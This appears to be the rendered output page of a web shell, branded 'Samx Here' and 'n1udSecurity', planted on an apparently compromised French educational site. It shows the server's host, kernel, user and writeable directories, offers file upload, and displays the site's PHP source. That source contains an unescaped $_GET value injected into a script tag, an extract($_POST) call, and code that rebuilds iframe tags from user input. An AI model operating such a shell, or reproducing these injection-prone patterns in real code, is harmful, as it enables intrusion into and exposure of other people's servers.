Samx Here
n1udSecurity


Server : Apache
System : Linux ks5.tuic.fr 6.1.0-18-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.76-1 (2024-02-01) x86_64
User : pragmatice ( 1003)
PHP Version : 8.2.24
Disable Function : NONE
Directory :  /home/pragmatice/public_html/test/orthodefi/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/pragmatice/public_html/test/orthodefi/publier_exercice.php
<?php
session_start();
require('../commun/filters/filtre_abonne.php');
require("includes/constantes.php");
require("../pragmacompte/config/database.php");
require("../commun/includes/fonctions_communes.php");

$id_membre_connecte = $_SESSION['user']['id'];
$module_encours = $_GET['mod'];
?> <script>var lemod = '<?= $module_encours; ?>';</script> <?php

// on traite le formulaire d'ajout de l'exercice s'il a été soumis
if (isset($_POST['bt_publier_cet_exo'])) {
    if (not_empty(['titre_e', 'auteur_e', 'categorie_e'])) {
        $errors = [];
        extract($_POST);// pour avoir accès à $_POST['titre_e'] avec $titre_e etc...

        // on lit le tableau des erreurs (affichées grâce à <?php include("partials/_errors.php"); dans les views)
        if (count($errors) == 0) {
            $ctn_entablo = json_decode($_POST['ctn_e']);
            $ctn_entablo[0][0] = $_POST['titre_e'];
            $ctn_entablo[0][3] = $_POST['auteur_e'];
            $ctn_entablo[0][2] = $_POST['categorie_e'];
            //$ctn_corrige = base64_decode(json_encode($ctn_entablo));
            $ctn_corrige = json_encode($ctn_entablo);
            $ctn_corrige = preg_replace('/&gt;/','>',$ctn_corrige);
            $ctn_corrige = preg_replace('/ddddddddddiframe/','<iframe',$ctn_corrige);
            $ctn_corrige = preg_replace('/ffffffffffiframe/','</iframe',$ctn_corrige);
            
            // on ajoute l'exercice dans la BDD
            set_flash("Félicitations ! L'exercice a été publié.","success");
            $q = $db->prepare('INSERT INTO '.TABLE_ODEFI.'(id_membre, titre, auteur, categorie, contenu, module) 
                            VALUES(:id_membre, :titre, :auteur, :categorie, :contenu, :module)');
            $q->execute([
                'id_membre' => $id_membre_connecte,
                'titre' => eb($titre_e),//$titre_e au lieu de $_POST['titre_e'] parce qu'on a extract
                'auteur' => eb($auteur_e),
                'categorie' => eb($categorie_e),
                'contenu' => $ctn_corrige,
                'module' => $module_encours
            ]);
            redirect("odefi.php?mod=".$module_encours."&m=".$id_membre_connecte);
            
        }

    } else {
        $errors[] = "Merci de renseigner les champs titre et auteur.";
    }
}

// on récupère les infos des exercices pour le membre sélectionné
$q = $db->prepare("SELECT * FROM ".TABLE_ODEFI." WHERE id_membre = :id AND actif = 1 AND module = :module ORDER BY titre ASC");
$q->execute([
    'id' => $id_membre_connecte,
    'module' => $module_encours
]);
$exos = $q->fetchAll(PDO::FETCH_OBJ);
$q->closeCursor();

require("views/publier_exercice.view.php");

?>




SAMX